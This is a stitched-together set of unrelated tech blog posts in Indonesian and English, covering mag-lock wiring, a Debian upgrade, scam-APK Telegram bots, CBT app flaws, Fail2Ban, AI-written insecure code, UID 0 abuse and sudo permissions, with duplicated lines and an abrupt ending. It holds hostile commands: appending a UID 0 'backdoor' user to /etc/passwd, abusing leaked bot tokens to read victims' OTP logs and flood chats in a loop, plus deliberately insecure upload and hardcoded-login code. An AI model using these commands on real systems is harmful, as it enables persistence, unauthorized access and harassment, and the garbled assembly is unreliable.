Analogi

Bayangkan arus listrik seperti air:

• 12V (+) = pipa air yang mengalirkan air ke perangkat.
• Minus / GND (-) = pipa balik yang mengembalikan air ke sumber.
• Saklar / NO / NC / COM = keran yang dibuka/tutup untuk mengarahkan aliran.

Sekarang kita uraikan tiap sambungan:

1) 12v adaptor > 12v mesin > 12v exit > emergensi 1

Jalur positif (+12V) dari adaptor melewati mesin (reader), lalu tombol Exit, lalu berakhir di terminal pertama pada Emergency Break Glass.

Penjelasan mudah:

• Adaptor mengirim +12V.
• Dari adaptor, kabel +12V disambungkan ke terminal 12V pada mesin/read­er. Itu memberi daya pada mesin.
• Dari terminal 12V mesin, kabel lanjut ke Exit button sehingga tombol juga mendapat daya (meskipun tombol biasanya tidak “mengkonsumsi” banyak daya).
• Terakhir kabel itu lanjut ke Emergency Break Glass (terminal 1). Dari sana, bila kondisi normal, arus diteruskan ke M-Lock.

Ini artinya semua perangkat mendapat pasokan +12V dari satu jalur yang berurutan — dan jalur positif untuk M-Lock melewati emergency glass sehingga saat kaca dipecahkan/ditekan arus positif terputus → M-Lock mati → pintu terlepas.

2) Minus Adaptor > minus mesin > minus exit > Com mesin

Jalur negatif / minus / GND dari adaptor disambung ke ground semua perangkat dan juga ke terminal COM mesin (common pada mesin/reader).

Penjelasan:

• Adaptor memiliki dua kabel keluar: +12V dan — (minus / ground). Kabel minus ini disambungkan ke semua perangkat supaya mereka punya “rangkaian lengkap”.
• Menyambungkan minus adaptor ke COM mesin berarti COM mesin berada pada potensial ground yang sama dengan sumber. Ini diperlukan agar saklar-saklar (tombol/reader) bisa “mengirim” sinyal dengan benar ke mesin.

Fungsi praktis: Semua peralatan harus berbagi ground yang sama agar sinyal dari tombol/reader dapat dipahami oleh mesin.

3) But mesin > NO exit

Terminal But (button input) pada mesin dihubungkan ke terminal NO (Normally Open) pada tombol exit.

Penjelasan:

• Tombol exit memiliki dua kontak umum: COM dan NO. Saat tombol belum ditekan, NO tidak terhubung ke COM (seperti keran tertutup). Saat ditekan, NO terhubung ke COM (keran terbuka).
• Mesin punya terminal But untuk menerima sinyal “ada orang tekan tombol”. Saat NO terhubung ke COM (tombol ditekan), mesin “mengerti” dan men-trigger buka kunci.

4) GND mesin > COM exit

Ground (GND/Minus) dari mesin disambungkan ke terminal COM pada tombol exit.

Penjelasan:

• Untuk tombol exit bekerja sebagai saklar yang menghubungkan ground ke input mesin, COM tombol harus terhubung ke ground mesin.
• Ketika tombol ditekan, NO (yang terhubung ke But mesin) akan mendapatkan ground lewat COM → mesin mendeteksi input karena sisi But menjadi ground.

Tombol hanya “menutup rangkaian” antara But mesin dan ground ketika ditekan. Dengan COM di-ground-kan, NO akan membawa ground itu ke mesin saat tombol ditekan.

5) Minus MLock > NC mesin

Kabel negatif (minus) dari M-Lock dihubungkan ke terminal NC (Normally Closed) pada mesin.

Penjelasan:

• Biasanya NC berarti: pada keadaan normal (tidak ada perintah membuka), NC tertutup sehingga arus bisa mengalir.
• Dengan menghubungkan minus M-Lock ke NC mesin, mesin mengendalikan sambungan ground/negatif untuk M-Lock melalui relay internalnya:
• Saat mesin idle (tidak membuka), NC tertutup → M-Lock mendapat negatif → ditambah positif dari sisi + → kunci aktif (menyala) → pintu terkunci.
• Saat mesin memutuskan untuk membuka (mis. kartu sah, tombol exit), relay membuka NC → negatif ke M-Lock putus → sirkuit M-Lock terbuka → M-Lock mati → pintu terbuka.

Mesin bertindak seperti saklar otomatis yang memutus salah satu sisi arus ke kunci (dalam hal ini sisi minus).

6) Plus MLock > 2A emergensi

Kabel positif (+) M-Lock disambungkan ke terminal 2A pada Emergency Break Glass (terminal keluaran dari kaca darurat).

Penjelasan:

• Dari langkah 1, +12V berakhir di Emergency (terminal 1). Emergency punya dua terminal: 1 & 2 (atau 1 & 2A). Saat normal, 1 dan 2A terhubung sehingga arus bisa mengalir ke M-Lock.
• Kabel dari terminal 2A membawa +12V ke terminal + pada M-Lock.
• Jika kaca darurat dipecahkan → 1 dan 2A terputus → + tidak sampai M-Lock → kunci kehilangan daya → pintu terbuka.

Emergency memotong suplai positif M-Lock agar pintu bisa dibuka saat kondisi darurat.

Skema yang mungkin terjadi:

Keadaan A — Normal (tidak ada aktivitas)

• +12V masuk ke M-Lock lewat Emergency (1→2A).
• NC mesin terhubung, sehingga M-Lock mendapat minus → kunci aktif/terkunci.
• Pintu tidak bisa dibuka (kecuali oleh tindakan yang kita jelaskan di bawah).

Keadaan B — Orang tap kartu valid pada Reader

• Reader mendeteksi kartu → mesin memutus NC (relay membuka) untuk jangka waktu singkat → minus M-Lock terputus → M-Lock mati → pintu terbuka sementara.
• Setelah beberapa detik mesin menutup kembali NC → kunci menyala lagi.

Keadaan C — Tombol Exit ditekan

• Tombol Exit menutup jalur NO → COM. Karena COM terhubung ke ground mesin, But mesin melihat ground → mesin memutus NC → M-Lock mati → pintu terbuka.
• Setelah tombol dilepas, rangkaian kembali seperti semula dan kunci mengunci.

Keadaan D — Emergency Break Glass dipecahkan

• Terminal 1 dan 2A terputus → +12V tidak sampai ke M-Lock → M-Lock mati terus sampai emergency diganti/diriset.
• (Ini sengaja: untuk keselamatan, agar orang bisa keluar tanpa hambatan.)

Keadaan E — Listrik mati

• Adaptor kehilangan daya → seluruh sistem mati termasuk M-Lock → pintu terbuka (atau tergantung jenis kunci: beberapa M-Lock adalah fail-safe sehingga buka saat mati).
• Ini normal untuk magnetic lock (fail-safe) karena mereka membutuhkan listrik untuk mengunci.

Kenapa disusun seperti ini?

1. Keselamatan utama: Emergency memotong +12V M-Lock sehingga pintu bisa dibuka saat darurat.
2. Kontrol terpusat lewat mesin/reader: Mesin yang memutus NC sehingga ia bisa menentukan kapan kunci dikunci/terbuka (setelah validasi kartu atau input tombol).
3. Sirkuit tombol sederhana: Tombol keluar hanya menghubungkan ground ke mesin; mesin yang mengubah keadaan kunci.
4. Ground bersama: Semua perangkat pakai ground yang sama supaya sinyal dapat “dibaca” dengan benar.

D.

Upgrading a Debian system from Bullseye (11) to Bookworm (12) often works smoothly, but some users encounter errors when running apt update after switching repositories. Common issues include certificate verification failures and missing GPG keys. This guide explains the root causes and step-by-step solutions.

1. Certificate Verification Failed

Example error:

Err:1 https://deb.debian.org/debian bookworm InRelease Certificate verification failed: The certificate is NOT trusted. The certificate issuer is unknown. 

Causes

• Outdated ca-certificates package (system does not recognize newer Debian mirror certificates).
• Incorrect system clock (causing TLS validation failures).
• Legacy apt-transport-https configuration.

Solutions

• Check system time

timedatectl status

sudo timedatectl set-ntp true 

If your clock is incorrect, TLS verification will fail.

• Reinstall CA certificates

Update the trust store using the old repositories (Bullseye):

sudo apt update

sudo apt install --reinstall ca-certificatessudo update-ca-certificates 

 sudo update-ca-certificates 

• Use HTTP temporarily If HTTPS still fails, switch your /etc/apt/sources.list to http:// instead of https://. This allows you to bootstrap the upgrade:

deb http://deb.debian.org/debian bookworm main contrib non-freedeb http://security.debian.org/debian-security bookworm-security main contrib non-free deb http://deb.debian.org/debian bookworm-updates main contrib non-free 

 deb http://security.debian.org/debian-security bookworm-security main contrib non-freedeb http://deb.debian.org/debian bookworm-updates main contrib non-free 

 deb http://deb.debian.org/debian bookworm-updates main contrib non-free 

2. Missing GPG Keys

Example error:

W: GPG error: http://deb.debian.org/debian bookworm-updates InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 6ED0E7B82643E131 NO_PUBKEY 78DBA3BC47EF2265 

Causes

• The system does not yet have the Debian 12 archive keys.
• The package debian-archive-keyring is outdated on Bullseye.

Solutions

• Update the Debian keyring

sudo apt update

sudo apt install debian-archive-keyring

sudo apt --reinstall install debian-archive-keyring 

• Manually fetch Bookworm keys (if repo access is broken)

curl -fsSL https://ftp-master.debian.org/keys/archive-key-12.asc | \ sudo gpg --dearmor -o /usr/share/keyrings/debian-archive-keyring.gpgcurl -fsSL https://ftp-master.debian.org/keys/archive-key-12-security.asc | \ sudo gpg --dearmor -o /usr/share/keyrings/debian-archive-keyring-security.gpg 

 curl -fsSL https://ftp-master.debian.org/keys/archive-key-12-security.asc | \ sudo gpg --dearmor -o /usr/share/keyrings/debian-archive-keyring-security.gpg 

• Retry update

sudo apt update 

3. Proceeding with the Upgrade

Once certificate validation and GPG errors are resolved:

sudo apt update

sudo apt upgrade

sudo apt full-upgrade 

After the system is fully upgraded, switch back to https:// repositories for better security:

deb https://deb.debian.org/debian bookworm main contrib non-free

deb https://security.debian.org/debian-security bookworm-security main contrib non-free

deb https://deb.debian.org/debian bookworm-updates main contrib non-free 

Conclusion

When upgrading from Bullseye to Bookworm, two common blockers are:

• TLS certificate verification failures → fix with correct system time and updated ca-certificates.
• Missing GPG keys → fix with the latest debian-archive-keyring or manual key installation.

By addressing these issues, you can run apt update successfully and complete a smooth upgrade to Debian 12 Bookworm.

Beberapa waktu lalu, saya nemu APK aneh yang katanya buat “aktivasi ulang m-banking”. Padahal, isinya cuma layout jelek dan minta kredensial yang tujuannya satu: ngambil kredensial user, OTP user, dan ngirim ke sebuah bot Telegram. Yup, bot Telegram — bukan server pribadi, bukan API cloud, tapi bot. Simpel dan praktis, tetapi cukup rentan.

Ini bukan hal baru, tapi cukup menarik buat dibahas karena banyak scammer sekarang makin nyaman pake Telegram sebagai “transport layer” data curian mereka. Dan lucunya, sebagian dari mereka gak sadar kalau cara mereka bisa dibalik, bisa dieksploitasi balik.

Cara Kerja Bot Telegram dalam APK Scam OTP

Biasanya, APK scam yang beredar itu mengandung kode yang akan otomatis meng-capture data user: OTP SMS, credentials, dan kadang device info. Data ini dikirim ke bot Telegram lewat API yang sangat terbuka:

https://api.telegram.org/bot<token>/sendMessage?chat_id=<chat_id>&text=OTP:%20123456

Bot Telegram di sini fungsinya cuma kayak tukang pos — nerima pesan, terus disalurin ke akun Telegram si pelaku. Dan semua itu tergantung pada dua elemen penting: Token Bot dan Chat ID.

Perbedaan Token Bot dan Chat ID

Token Bot adalah kunci API unik yang dipakai buat ngakses dan kontrol bot Telegram via HTTP API. Biasanya formatnya kayak:

123456789:AAHx_yourActualTokenHereXyz

Token ini kayak password — siapa pun yang punya, bisa kirim dan nerima pesan lewat bot itu. Makanya, kalau sampai bocor, bot-nya bisa dipakai siapa aja.

Sementara itu, Chat ID adalah ID tujuan pesan. Bisa berupa:

• ID user (kalau pesannya ke personal)
• ID grup/supergroup
• ID channel (negatif, misalnya -1001234567890)

Bot butuh kedua data ini: token untuk akses, chat_id untuk tahu harus ngirim ke mana.

Cara Menemukan Token Bot

Cara Menemukan Token Bot (via APK)

1. Reverse APK pakai tools kayak:

• apktool
• jadx-gui
• strings

2. Cari string URL yang berisi

https://api.telegram.org/bot

Biasanya format ini hardcoded di class Java utama atau helper HTTP.

Contoh:

String url = "https://api.telegram.org/bot123456789:ABCdefGhIJKlmnoPQR/sendMessage";

Copy bagian setelah /bot sampai sebelum /sendMessage. Itulah token-nya.

Cara Menemukan Chat ID

Ada beberapa cara:

1. Sniff dari APK/script

Kadang, chat_id langsung diset di dalam kode barengan dengan token.

Misalnya:

String chat_id = "123456789";

2. Gunakan token dan eksplor via API

Kirim pesan ke bot (pake akun dummy), lalu panggil endpoint:

curl -s https://api.telegram.org/bot<TOKEN>/getUpdates

Lo bakal dapet respon JSON yang mirip:

{
  "message": {
    "chat": {
      "id": 987654321,
      "type": "private"
    },
    "text": "halo"
  }
}

Nah, 987654321 itulah chat ID-nya.

3. Pakai Bot Debug

Gunakan bot @userinfobot di Telegram

Chat, lalu dia bakal kasih tahu ID Telegram kamu

Deteksi Aktivitas Bot

Kalau token udah di tangan, kita bisa pantau aktivitas si bot. Misalnya:

curl -s "https://api.telegram.org/bot<TOKEN>/getUpdates"

Kalau bot gak pake webhook (masih polling), maka log percakapan user korban akan muncul. Bisa jadi OTP, nama akun, bahkan isi percakapan penuh.

Eksploitasi Token & Chat ID

Contoh sederhana kirim pesan spam:

curl -X POST https://api.telegram.org/bot<TOKEN>/sendMessage \
-d chat_id=<CHAT_ID> \
-d text="OTP: 000000 - bot kamu bocor bro"

Bisa juga dibuat loop spam, buat bikin panik pelaku dan ngerusak sorting OTP:

for i in {1..100}; do
  curl -s -X POST https://api.telegram.org/bot<TOKEN>/sendMessage \
  -d chat_id=<CHAT_ID> \
  -d text="OTP: $(shuf -i 100000-999999 -n 1)"
done

Cara Revoke Token Bot

Apa itu Revoke?

Revoke = mencabut token API bot Telegram → jadi gak bisa lagi diakses lewat endpoint mana pun. Ibaratnya, ngeganti kunci rumah karena bocor.

Siapa yang Bisa Revoke?

Pemilik Bot (yang bikin lewat @BotFather)

Pihak luar? Gak bisa langsung. Tapi... lo bisa bikin pelaku panic revoke.

Cara Paksa Pelaku Revoke (Tidak Langsung)

Strategi gangguan:

• Kirim spam atau teks ancaman eksplisit (“bot kamu ketahuan”)
• Tunjukkan kamu bisa baca log OTP mereka
• Masuk ke group/channel tujuan kalau ID-nya terbuka
• Kirim perintah palsu terus-menerus

Biasanya setelah itu, pelaku:

• Revoke token
• Hapus bot
• Pindah metode lain

Dan satu celah pun bisa cukup buat ganggu operasional mereka.

Bot Telegram yang digunakan scammer buat ngambil OTP dari user itu bukan sistem canggih. Mereka bergantung sama kemalasan korban dan kebodohan implementasi. Token bot = kunci rumah mereka. Chat ID = alamat tujuan curian. Dan keduanya sering bocor cuma dari APK atau script yang gak dikunci rapi.

Dengan modal token dan sedikit niat, kita bisa pantau aktivitas, rusak sistem mereka, bahkan bikin mereka ganti metode.

Picture a high-stakes school exam. Papers sealed, proctors on alert, students seated quietly. Now picture someone miles away—no uniform, no hall pass—accessing the exam questions with nothing but a laptop and some scripts. No login needed, no rules broken (yet), and definitely no supervision.

Welcome to the world of vulnerable Computer-Based Test (CBT) applications—where a single poorly secured API can dismantle the integrity of an entire testing system.

In this article, we’ll walk through the most common vulnerabilities found in CBT apps, from a high-level overview to technical deep dives. We’ll explain what goes wrong, how attackers exploit it, and how to fix or avoid these issues altogether.

What is a CBT Application?

A Computer-Based Test (CBT) application is a platform that manages digital exams. It typically includes:

• Student and admin login systems
• Exam and question management
• Automatic grading
• Results dashboard

Unfortunately, many CBT platforms prioritize features and deadlines over security. That’s where things fall apart.

1. Unauthenticated Access to Question Endpoints

The Problem

Some CBT applications expose API endpoints like:

GET /api/questions/exam/12345

These endpoints don’t require proper authentication or authorization, meaning anyone who guesses or discovers the URL structure can access the exam content.

Real-World Exploitation

A simple curl command or browser request could leak entire exams:

curl http://cbt.example.com/api/questions/exam/12345

Response:

{
  "title": "Math Final Exam",
  "questions": [
    {
      "id": 1,
      "question": "What is 12 × 8?",
      "options": ["96", "88", "102", "108"]
    }
  ]
}

Best Practices

• Always enforce authentication with JWT or OAuth.
• Use role-based access control (RBAC).
• Time-lock sensitive endpoints until exams start.
• Never assume obscurity (like long IDs) is a valid security control.

2. Exposed Student Data via Weak Endpoints

The Problem

APIs like:

GET /api/admin/students

are often unprotected or inadequately restricted. This gives unauthorized users access to student profiles, grades, IDs, and other sensitive data.

Risks

• Violates data privacy laws (e.g., GDPR, FERPA).
• Exposes students to identity theft, phishing, or social engineering.
• Undermines trust in the platform.

Best Practices

• Lock down sensitive APIs with strict role validation.
• Encrypt all traffic using HTTPS.
• Implement least privilege principles for users and admins.
• Log and monitor for suspicious access patterns.

3. Hardcoded Unlock Codes in Mobile App (APK)

The Problem

Mobile CBT apps often include an "unlock exam" feature, controlled by a code. Unfortunately, this unlock code is often hardcoded inside the APK, making it trivial to reverse engineer.

Common Mistake

if(inputCode.equals("EXAM2024UNLOCK")) {
    allowAccess();
}

How Attackers Exploit This

• Use tools like APKTool, JADX, or MobSF to decompile the app.
• Search for static strings or method names like unlock, grantAccess, or the code itself.

Best Practices

• Never store secrets in client-side code.
• Use server-side validation for all logic involving access control.
• Obfuscate code with ProGuard or R8, but remember: obfuscation ≠ encryption.

4. Metadata Endpoints Leak Exam & School Data

The Problem

Some endpoints return all exam metadata, including:

• School names
• Username school
• Test IDs
• Exam OTP code
• Exam start/end times
• Status (active/inactive)

For example:

GET /api/exams/list

Why This Is Dangerous

Even if the actual questions are protected, this metadata gives attackers:

• A map of which exams exist and when they run.
• Students can do the exam in advance by manipulating the time and exam OTP code.
• IDs that can be used to brute force access to exam content.
• Username school can be used to brute force access to the admin school dashboard.
• A chance to scrape data in advance and build automated solvers or pre-submission attacks.

Best Practices

• Don't expose unnecessary metadata to unauthenticated users.
• Paginate and restrict data access based on user roles.
• Implement rate limiting and detect abnormal access patterns (e.g., scanning bots).
• Only return minimal, necessary data for the current user’s role.

Tips, Pitfalls, and Tools for Securing CBT Apps

Common Pitfalls to Avoid

• Using Access-Control-Allow-Origin: * in production
• Serving the app over HTTP instead of HTTPS
• Hardcoding sensitive keys or secrets
• Not validating input (especially on the backend)

Tools for Testing & Securing CBT Apps

• Burp Suite – to intercept and test API requests
• JadX – to reverse engineering code of apk
• MobSF – for mobile app reverse engineering
• OWASP ZAP – automated scanning
• Postman or Insomnia – for exploring and documenting APIs
• JWT.io Debugger – for testing and verifying tokens

Imagine you’re sipping coffee while monitoring your server remotely. Suddenly, thousands of failed SSH login attempts flood your logs in just minutes. Panic? Not if you have Fail2Ban watching your back. Sit back, sip slowly.

In the digital world, security is not just about firewalls and strong passwords. It’s about proactive defense—detecting patterns, reacting in real time. That’s where Fail2Ban steps in, acting like a security guard who doesn’t sleep, doesn’t blink, and kicks out intruders without warning.

What is Fail2Ban?

Fail2Ban is a Python-based security tool that scans log files for signs of brute-force attacks or suspicious activity—such as too many failed login attempts—and dynamically bans the offending IPs using firewall rules like iptables.

In simple terms:
Too many failed logins = BANNED.

Installing Fail2Ban

On Debian/Ubuntu:

sudo apt update
sudo apt install fail2ban

On RHEL/CentOS:

sudo yum install epel-release
sudo yum install fail2ban

Start and enable the service:

sudo systemctl start fail2ban
sudo systemctl enable fail2ban

Basic Configuration

Fail2Ban uses the jail.conf config file, but it’s best practice not to edit it directly. Instead, override it with your own jail.local file:

sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local

Example SSH protection configuration:

[sshd]
enabled  = true
port     = ssh
filter   = sshd
logpath  = /var/log/auth.log
maxretry = 5
bantime  = 3600
findtime = 600

• enabled: Activates the jail
• port: Monitored service port (can be custom)
• maxretry: Number of failed attempts before banning
• bantime: Duration (in seconds) for the ban
• findtime: Time window to observe failures

Monitor Your Jails

Check active jails:

sudo fail2ban-client status

For a specific jail like SSH:

sudo fail2ban-client status sshd

Sample output:

Status for the jail: sshd
|- Filter
|  |- Currently failed: 3
|  |- Total failed: 10
|  `- File list: /var/log/auth.log
`- Actions
   |- Currently banned: 1
   |- Total banned: 4
   `- Banned IP list: 203.0.113.77

Enable Email Notifications

Want to be alerted when a ban occurs? You can configure Fail2Ban to email you full details including logs and whois info.

Step 1: Install mail tools

On Debian/Ubuntu:

sudo apt install sendmail

Or use mailx, ssmtp, or configure your MTA of choice.

Step 2: Update jail config

In your /etc/fail2ban/jail.local:

destemail = your@email.com
sender = fail2ban@yourdomain.com
action = %(action_mwl)s

• action_mwl sends: message + whois info + log
• Other options: action_mw, action_, or define a custom action in /etc/fail2ban/action.d/

Restart Fail2Ban to apply:

sudo systemctl restart fail2ban

Visualize Fail2Ban with Fail2Web

Sometimes reading logs isn’t enough—you want a dashboard. That’s where Fail2Web comes in: a lightweight web interface for monitoring Fail2Ban activity.

Install Fail2Web

sudo apt install git python3-flask
git clone https://github.com/Sean-Der/fail2web.git
cd fail2web
python3 app.py

The interface will be available at:
http://localhost:5000

You can reverse-proxy it via Nginx to make it accessible externally (with HTTPS for security).

Note:

Make sure Fail2Web runs under a secure user and IP restrictions are set. You’re visualizing logs and security data—you don’t want it open to the world.

Simulate a Brute Force Attack

Try SSH login with a wrong password repeatedly (within the defined findtime window). After the allowed maxretry, you’ll be locked out.

Testing from another machine is highly recommended, unless you enjoy locking yourself out of your own server 😅.

Custom Filters

Got a custom app? You can create your own filter!

Create /etc/fail2ban/filter.d/myapp.conf:

[Definition]
failregex = Login failed for user .* from <HOST>
ignoreregex =

Add to your jail config:

[myapp]
enabled = true
logpath = /var/log/myapp.log
filter = myapp
maxretry = 3
bantime = 1800

Unban an IP

Locked yourself out? Unban the IP manually:

sudo fail2ban-client set sshd unbanip 203.0.113.77

Integrating with nftables or FirewallD

Fail2Ban can use different backends for banning IPs.

For firewalld:

banaction = firewallcmd-ipset

For nftables:

banaction = nftables-multiport

Check /etc/fail2ban/action.d/ for available actions or define your own.

Tips

• Enable the recidive jail to catch repeat offenders over a longer period.
• Monitor the log: /var/log/fail2ban.log
• Use logrotate to manage size and keep your logs tidy.
• Secure Fail2Ban’s config—treat it like firewall rules.

Final Thoughts

Fail2Ban is one of the easiest yet most effective tools you can add to your server security stack. It’s like having a bouncer who not only checks IDs but memorizes troublemakers and blocks them for good.

Not all heroes wear capes—some run silently in your system, tailing logs and blocking bots.

There was a time when getting into a company’s infrastructure felt like solving a complex puzzle. Nowadays, it feels more like defusing a bomb made by an overconfident AI. The game has changed. Enter Vibe Coder—AI-powered developers that push code fast, efficient, and dangerously close to insecure.

Vibe Coder isn't a real person. It's a term I use for AI-assisted coding workflows: devs writing applications with the help of AI tools like GitHub Copilot, ChatGPT, or Tabnine. This tech is magical—until you’re on the other side of the fence trying to test the security of what it created.

The Problem Wrapped in Code

Let’s start with the obvious: speed. AI helps developers ship features ten times faster. More endpoints, more integrations, more dependencies. From a business perspective, this is gold. But from a pentester’s lens, it’s a minefield.

Here’s why: AI doesn’t understand context the way a seasoned dev does. It predicts code, not consequences. So when it autocompletes a function to upload files, it might forget to add validation. When it writes an API handler, it might default to permissive CORS settings or mishandle user input. Suddenly, you’ve got a codebase that looks clean—but leaks like a sieve.

Example code:

// AI-generated Express.js file upload endpoint
app.post('/upload', (req, res) => {
  const file = req.files.file;
  file.mv(`/uploads/${file.name}`, (err) => {
    if (err) return res.status(500).send(err);
    res.send('File uploaded!');
  });
});

This might look functional, but it's a red carpet for unrestricted file uploads—no file type validation, no path sanitization. A pentester’s dream, an attacker’s playground.

Why Pentesters are Busier Than Ever?!

1. More Code, Less Thought

AI can write 500 lines in seconds, but it doesn’t pause to ask “Should this be public?” or “Is this input trusted?” Developers often assume the code it generates is secure—especially juniors. That trust becomes a vector.

2. Recycled Vulnerabilities

AI is trained on public code. That includes mistakes. Sometimes, it repeats the same insecure patterns across different projects. For pentesters, that means déjà vu: same bugs, different wrappers.

Example code:

# AI-generated Flask login check
@app.route('/login', methods=['POST'])
def login():
    if request.form['username'] == 'admin' and request.form['password'] == 'admin123':
        session['user'] = 'admin'
        return redirect('/dashboard')
    return 'Invalid credentials'

3. Obscure Implementations

Modern apps now include AI-generated code glued with libraries that themselves were pulled in by AI suggestions. As a pentester, you’re not just auditing human logic anymore—you’re decoding a language of probability and pattern-matching.

Example code:

// React frontend fetch using AI-suggested insecure pattern
fetch('https://api.example.com/userdata', {
  method: 'GET',
  headers: {
    'Authorization': `Bearer ${userToken}`
  }
});

The AI nailed the fetch logic—but where did userToken come from? Turns out, it was stored in localStorage. Combine that with a reflected XSS, and you’ve got a full compromise.

4. Security by Afterthought

Security testing is often the last checkbox. And when the code was built overnight with AI help, testing it becomes like checking the foundation after the skyscraper’s already built.

Exciting, but Exhausting

The job isn’t boring. If anything, it's more exciting. But the scope has exploded. I used to test applications. Now I test how well people understand the tools they use. And more often than not, it’s a mismatch.

It’s like fighting fire with water—only the fire spreads faster than you can refill the bucket.

AI coding tools are here to stay. They’re powerful, convenient, and sometimes dangerously confident. While they’ve empowered developers to build faster, they’ve also expanded the playground for bugs and misconfigurations.

As pentesters, our role is evolving. We’re no longer just finding bugs. We’re reviewing AI’s decisions, predicting its blind spots, and teaching developers how to think like attackers in an era where code is no longer handcrafted.

So, if you're wondering why the pentesting team looks tired lately—it’s because we're racing against something that doesn’t sleep. And every time a Vibe Coder commits insecure code with a smiley comment, somewhere out there, a pentester sighs and adds another Jira ticket.

Stay sharp.

In every Linux or Unix-based operating system, there's a silent ruler. It's not a visible window, not a fancy GUI—it's a number: UID 0. This numeric ID belongs to the root user, the highest authority on the system. Whoever holds it has the keys to the kingdom.

In theory, UID 0 should belong to only one user: root. But in reality, systems get messy. Whether due to misconfiguration, poor security practices, or malicious intent, others can end up sharing that UID—and that’s where the exploit begins.

UID (User Identifier) is a number assigned to every user on a Unix-like system. Normally, regular users start from UID 1000 onward. UID 0, however, is special. The system doesn’t ask who you are if your UID is 0—it just gives you full control. No questions asked.

So if a user—any user—gets UID 0, they’re effectively root, no matter what name they log in with.

And that’s the heart of the problem.

How Attackers Exploit UID 0?

There’s no rocket science here. If someone has write access or root privileges (even temporarily), they can:

• Edit /etc/passwd directly

echo 'backdoor:x:0:0:root:/root:/bin/bash' >> /etc/passwd

• Use useradd with UID 0

useradd -u 0 -o -g 0 shadowroot

• Modify an existing account

usermod -u 0 -o eviluser

Just like that, a new "root" is born.

The Dangers Lurking Behind UID 0

At first glance, what's the harm in having two users with UID 0?

Well—imagine leaving two master keys under the doormat. If one gets stolen, you might not even realize it. That’s the thing with UID 0: it bypasses logging, ignores permission checks, and operates silently.

Here’s what can happen:

• Security monitoring tools might not flag the account—because it looks like root.
• Attackers can create persistent backdoors that blend in with the system.
• Accountability is lost—actions done by UID 0 are all seen as done by “root,” regardless of the actual username.
• Malware can insert UID 0 users automatically, hiding them among regular system users.

Detecting and Preventing UID 0 Exploits

It’s surprisingly easy to check if you’re at risk. Run this:

awk -F: '($3 == "0") {print}' /etc/passwd

You should only see:

root:x:0:0:root:/root:/bin/bash

Anything else is a red flag.

To prevent this:

• Lock down /etc/passwd and /etc/shadow file permissions.
• Use tools like AIDE or Tripwire to detect unauthorized file changes.
• Audit your user list regularly.
• Educate your admins. Just copy-paste can be very dangerous.

UID 0 isn’t just a number. It’s the most powerful access level in the system. When it's shared or assigned recklessly, it becomes a time bomb—quiet, hidden, and incredibly destructive.

If you’re managing a system, check your UID 0 users today. One small number might be the biggest hole in your defense.

In Linux systems, sudo is a fundamental tool. It allows users to execute commands with elevated privileges — usually as root. However, in some server environments, especially hardened systems, not every user is granted full sudo privileges. This often leads to permission errors when attempting to use sudo. For example, if the permissions or ownership of /usr/bin/sudo are misconfigured, even users in the sudo group may face issues.

This article introduces a practical work-around that fixes these permission problems — particularly in systems where only root-level administrators have sudo privileges. It also outlines a preventive step to avoid similar problems in the future.

Understanding the Problem

Let’s say you’re on a Linux system, and a user in the sudo group tries to run a command with sudo but receives a Permission denied error. This usually happens because:

• The file permissions of /usr/bin/sudo have been changed.
• The file is no longer owned by the right group.
• The setuid bit has been removed, preventing privilege escalation.

This might occur accidentally during a misconfigured update or manual permission change.

The Work-Around

Here’s a quick fix:

chgrp sudo /usr/bin/sudo
chmod 4750 /usr/bin/sudo

Let’s break this down:

• chgrp sudo /usr/bin/sudo: changes the group ownership of the sudo binary to sudo.
• chmod 4750 /usr/bin/sudo: sets the correct permissions:
• 4 (setuid): lets users run the binary with the privileges of its owner (root).
• 7 (owner): full access (read, write, execute).
• 5 (group): read and execute.
• 0 (others): no access.

These commands restore proper execution rights for members of the sudo group, while keeping the binary restricted from non-privileged users.

Preventing Future Issues

To avoid this kind of issue from repeating, it’s good practice to ensure that non-root writable filesystems are mounted with the noexec flag. This prevents execution of binaries from untrusted locations.

For example, mounting a USB drive or a user-writable directory like /tmp with noexec ensures users can’t run arbitrary binaries—even if they manage to place one there.

Where Should We Use noexec?

Not all filesystems need noexec. Use it on places where:

• Users have write access.
• Executing programs is unnecessary or risky.

Common targets:

• /tmp
• /var/tmp
• /home
• Mounted USB drives or external disks
• Cloud sync folders (like /mnt/share, etc.)

Avoid setting noexec on /, /usr, or /bin. The system needs to execute binaries there.

Step 1: Identify Writable Non-Root Filesystems

Run:

findmnt -rno TARGET,OPTIONS

Or use:

mount | grep " rw"

Check which mount points are writable (rw) and not essential for system binaries.

Step 2: Edit /etc/fstab

To make the noexec setting persistent across reboots, we use the fstab file.

Open it:

sudo nano /etc/fstab

Add noexec to the options column for the relevant mount points. For example:

UUID=xxxx-xxxx  /home       ext4    defaults,noexec    0    2
UUID=yyyy-yyyy  /tmp        ext4    defaults,noexec    0    2

Make sure you’re not touching essential root-level mounts. Only target filesystems where execution is not required.

Step 3: Remount Without Rebooting

After editing /etc/fstab, you don’t have to reboot. Just remount:

sudo mount -o remount,noexec /home
sudo mount -o remount,noexec /tmp

This applies the changes immediately.

Step 4: Test It

Try creating a simple shell script in /tmp:

echo -e '#!/bin/bash\necho Hello' > /tmp/test.sh
chmod +x /tmp/test.sh
/tmp/test.sh

Expected output:

bash: /tmp/test.sh: Permission denied

Perfect. noexec is working.

This doesn’t replace other security layers like file permissions or antivirus tools. But it adds a reliable barrier.

This is a proactive approach that tightens system security and makes it harder for misconfigured binaries to cause issues.

Restoring correct permissions and group ownership on /usr/bin/sudo is a straightforward fix for broken sudo access. The command:

chgrp sudo /usr/bin/sudo ; chmod 4750 /usr/bin/sudo

is a simple one-liner that solves most related permission problems. Additionally, applying noexec on user-writable filesystems helps prevent unexpected execution problems in the future.

While this issue might seem minor, it can lock users out of administrative capabilities. Knowing how to fix and prevent it is a small but powerful piece of Linux system administration. Always verify permissions, understand default security configurations, and secure your system before problems arise.

If we see docs 1panel in here, we have instruction to run this command to install 1panel like here:

curl -sSL https://resource.1panel.pro/quick_start.sh -o quick_start.sh && \
bash quick_start.sh

But, if we have done run command, we have error like this:

To fix the error we need install docker, run this command to install docker and run the docker:

sudo apk add docker && \
sudo rc-update add docker && \
sudo rc-service docker start

After that we can run again installer:

sudo ./1panel-*/install.sh

After that we can login using username and password we configure before, we can access on: http:://ip-local:port/panel-entrace

Hardening

If we want to secure the server alpine, we need setup firewall. Follow this steps if you want:

sudo apk add ufw && \
sudo ufw default allow outgoing && \
